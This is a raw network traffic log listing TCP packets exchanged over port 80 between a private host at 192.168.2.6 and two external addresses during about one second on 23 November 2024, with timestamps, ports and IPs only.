Nov 23, 2024 13:28:41.038948059 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.039001942 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.041232109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.041676044 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.073762894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.073812962 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.074033976 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.116893053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.116971970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.117908001 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.118134022 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.118283033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.118329048 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.120601892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.121337891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.121381998 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.121438980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.123838902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.123874903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.123884916 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.166179895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.166219950 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.166304111 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.166593075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.166656017 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.166690111 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.166734934 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.167495012 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.167545080 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.167587996 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.167632103 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.168423891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.168592930 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.168643951 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.169374943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.169419050 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.169465065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.169511080 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.170267105 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.170312881 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.170324087 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.170368910 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.171211004 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.171258926 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.171293974 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.171340942 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.172142029 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.172302961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.172354937 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.172996044 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.173046112 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.173120975 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.173166990 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.173795938 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.173953056 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.173998117 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.174065113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.174882889 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.174932957 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.174974918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.175028086 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.175801992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.175852060 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.175900936 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.175946951 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.176816940 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.176832914 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.176884890 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.177683115 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.177742004 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.177782059 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.177830935 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.178589106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.178633928 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.178657055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.178697109 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.179538965 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.179588079 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.179630041 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.179682016 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.180515051 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.180620909 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.180668116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.181406975 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.181457043 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.181627035 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.181674004 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.182315111 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.182363033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.182497025 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.182543993 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.183260918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.183304071 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.183429956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.183482885 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.184146881 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.184201002 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.184271097 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.184317112 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.185060978 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.185108900 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.185167074 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.185211897 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.186053991 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.186100006 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.186126947 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.186172962 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.189598083 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.189641953 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.189656973 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.189677954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.189697981 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.189723015 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.189763069 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.189779043 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.189795017 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.189804077 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.189811945 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.189841032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.189841032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.189857006 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.190668106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.190798998 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.190850973 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.191605091 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.191662073 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.191720963 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.191767931 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.192471027 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.192576885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.192630053 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.193381071 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.193427086 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.193542004 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.193591118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.194351912 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.194400072 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.194504023 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.194550991 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.195286989 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.195322990 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.195329905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.195363998 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.196166039 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.196213007 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.196266890 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.196312904 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.197365046 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.197413921 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.197611094 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.197658062 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.198025942 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.198076010 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.198128939 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.198174000 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.199018955 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.199065924 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.199106932 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.199151039 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.200428009 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.200443029 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.200478077 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.200491905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.201370001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.201435089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.201607943 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.202459097 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.202549934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.202661037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.204220057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.204329014 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.204407930 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.206787109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.251919985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.285995960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.286120892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.286174059 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.287203074 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.288089037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.288184881 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.288330078 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.290247917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.290317059 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.327593088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.327789068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.327852964 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.381740093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.381818056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.382015944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.382901907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.423805952 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.427963018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.428196907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.428252935 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.429223061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.429261923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.429311991 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.465327024 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.465382099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.465461969 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.466504097 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.512835026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.513060093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.513139963 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.514031887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.514137030 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.514190912 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.537985086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.538022995 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.538098097 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.555659056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.555746078 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.555830956 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.556807041 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.597899914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.597928047 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.598155022 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.599055052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.600013971 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.608542919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.608597994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.608659029 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.609688997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.651374102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.651503086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.651607037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.652559042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.656050920 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.680841923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.680933952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.681010962 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.682097912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.682200909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.682260990 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.723097086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.723176956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.723221064 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.724277973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.724426031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.724492073 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.726772070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.748395920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.748462915 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.748539925 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.766304016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.766549110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.766602039 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.767379999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.767477036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.767556906 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.769582033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.770282984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.770457983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.770507097 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.772767067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.775919914 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.894850969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.894974947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.895031929 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.899334908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.899429083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.899482965 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.015338898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.015448093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.015496969 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.019664049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.019783020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.019835949 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.135008097 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.135221958 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.135273933 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.136276960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.136327982 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.136377096 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.138940096 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.139075041 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.139117002 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.141473055 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.141529083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.141581059 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.143647909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.143776894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.143826962 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.146097898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.146239996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.146301031 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.148588896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.148700953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.148755074 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.151032925 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.151194096 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.151240110 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.153528929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.153722048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.153774977 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.155987978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.156178951 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.156229019 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.158449888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.158626080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.158675909 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.161066055 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.161221981 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.161266088 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.163388968 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.163465977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.163521051 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.165874004 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.166002989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.166050911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.168297052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.168420076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.168487072 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.170773983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.170892000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.170942068 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.173269033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.173444986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.173491001 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.175699949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.175873995 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.175923109 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.178399086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.178648949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.178697109 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.180957079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.181073904 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.181126118 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.183087111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.183237076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.183290005 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.185597897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.185652971 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.185698032 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.188111067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.188244104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.188292027 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.190601110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.190691948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.190746069 CET	49758	80	192.168.2.6	34.116.198.130
